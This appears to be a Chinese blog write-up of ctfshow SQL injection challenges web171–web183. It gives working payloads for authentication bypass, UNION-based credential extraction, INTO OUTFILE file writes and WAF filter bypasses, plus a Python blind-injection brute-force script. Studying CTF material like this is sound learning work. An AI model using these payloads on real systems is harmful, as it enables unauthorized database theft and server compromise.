0%

ctfshow-sql注入

到这里是SQL注入的题型

web171

打开题目,给了SQL查询的源码
)

1
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

可以看到这里有一个id参数是可控的,然后可以套万能密码

1
1' or '1=1

首先就是闭合 前面的单引号,然后万能密码,再加上一个单引号跟后面的单引号补齐
直接能看到flag

web172

点进来是一个猫,然后左上角有栏目

首先尝试之前的姿势

果不其然,意料之中,之前的没有用了
然后再尝试无过滤注入2

1
2
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

这里有一个waf

1
2
3
4
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}

但是这里有个好处,他的查询源码告诉了我们数据表的名称是ctfshow_user2,并且确定是两列的表
所以可以直接联合查询

1
-1' union select 1,password from ctfshow_user2

这里说一下 因为题目是limit 1只会返回第一条结果,所以原来的1要改成-1,使前面返回的结果为空,第二条语句再查询到username为flag的信息,就能出flag

复原一下sql查询语句是

1
select username,password from ctfshow_user2 where username!='flag' and id="-1' union select 1,password from ctfshow_user2"

这里的id=’-1’ 在原查询语句在原查询语句里是" -1' ",因为-1后面的单引号导致原查询的id直接失效,第二个”本来用于闭合查询, 现在语法失效,不包含在查询里,就可以不看这个”,查询的结果变成后面的union select

image-20260111155731756

web173

正常走流程,先查询有几列

1
1' order by 4 --+

image-20260111160615376

这里看到4的时候报错了,说明有三列,然后再查询数据库名

image-20260111161105467

数据库名为ctfshow_web,然后根据库查表

image-20260111161452866

1
1' union select 1,2,table_name from information_schema.tables where table_shema=database() --+

其实这里database()也可以换成查到的库名ctfshow_web,但是database()是一条动态链接,可以自动获取数据库名,可以一劳永逸

1
1' union select 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+

结果是一样的,然后再查询ctfshow_user3这个表

查了username这个字段会显示不出flag

image-20260111162719734

有waf拦截,那就索性不查用户名

image-20260111162830480

1
1' union select id,2,password from ctfshow_user3 --+

web174

过滤了flag字符串和数字,flag没法直接查询,就替换flag字符串里的数字

1
0' union select REPLACE(username,'g','j'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'g','9'),'0','h'),'1','i'),'2','j'),'3','k'),'4','l'),'5','m'),'6','n'),'7','o'),'8','p'),'9','q') from ctfshow_user4 where username='flag' %23

image-20260111211921911

然后把flag字符串还原

1
2
3
4
5
flag_replaced = "题目里的字符串"

flag=flag_replaced.replace('g','0').replace('h','1').replace('i','2').replace('j','3').replace('k','4').replace('l','5').replace('m','6').replace('n','7').replace('o','8').replace('p','9')

print(flag)

web175

这题不管输入什么都没有任何回显,可以用into outfile把查询到的数据写入文件

image-20260111212650927

1
1' union select username, password from ctfshow_user5 into outfile '/var/www/html/1.txt' --+

执行完以后会说接口异常,不管,访问1.txt里面就是flag了

image-20260111213801169

image-20260111213933847

web176

开始过滤注入,第一题,万能密码直接绕了

image-20260111214638753

web177

过滤了空格,也就是%20不能用,那可以换别的,例如%0a,%09,/**/,还有比较少见的%0c,%0d,%0e,%0f,%00都可以试试

#号也被过滤了,那就写%23,万能密码直接注

image-20260111221250165

1
1'%0aor1=1%0a%23

web178

稍微换一个payload也能成

1
2
1'%09or1=1%23
'or'1'='1'%23

但是万能密码属于有点投机取巧,还是走一遍流程

数据表名题目已经给了,就叫ctfshow_user,所以直接传payload

1
1'%09union%09select%091,username,password%09from%09ctfshow_user%23

image-20260111230340345

web179

万能密码可以秒

1
2
1'or'1'='1'%23
'or'1'='1'%23

image-20260111231736377

然后正常做%0a,%09,%00都不行,/**/也被ban了,那就用%0c

image-20260111232302842

payload为

1
1'union%0cselect%0c1,username,password%0cfrom%0cctfshow_user%23

web180

这题过滤了%23,也就是#不能用于结尾,这里本来想换另一个--+,但是+好像也被过滤了用不了,所以结尾也改成了%0c,同等效应

1
1'union%0cselect%0c1,username,password%0cfrom%0cctfshow_user--%0c

image-20260111232949913

web181

这题给了waf,直接看

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

根据之前的题目能知道,username为flag,那就直接构造username=flag就能出

image-20260113160807311

1
-1'||username='flag

web182

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}

不能直接构造flag,那就换个

1
id=-1' or (id=26) AND '1

or的运算规则是有一方为真既为真,而AND的优先级是高于or的,所以先把前面查询的id闭合,然后根据优先级先执行AND,AND左边为真,id=26的数据存在,右边1为恒真,所以or的右侧为真,左侧闭合,最终查询结果是查询右侧的id=26的结果

image-20260113173330324

这样就饶过了用户名不能为flag的限制,或者用concat函数拼接,也可以达到同样的效果

1
-1'or(username=concat('fl','ag'))and'1

拼接flag字符

web183

直接套脚本出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
url="http://fe8d3c9d-31c0-4031-b63e-f562d12e8da2.challenge.ctf.show/select-waf.php"
letter="abcdefghijklmnopqrstuvwxyz0123456789}-"
flag="ctfshow{"
for i in range(0,81):
for j in letter:
data = {"tableName":"(ctfshow_user)where(pass)like'{}%'".format(flag + j)}
http=requests.post(url,data=data)
if "$user_count = 1;" in http.text:
flag+=j
print(flag)
break
else:
continue

image-20260126144229486

调试了半天,要注意data里面的payload很有可能导致错误

web184

未完待续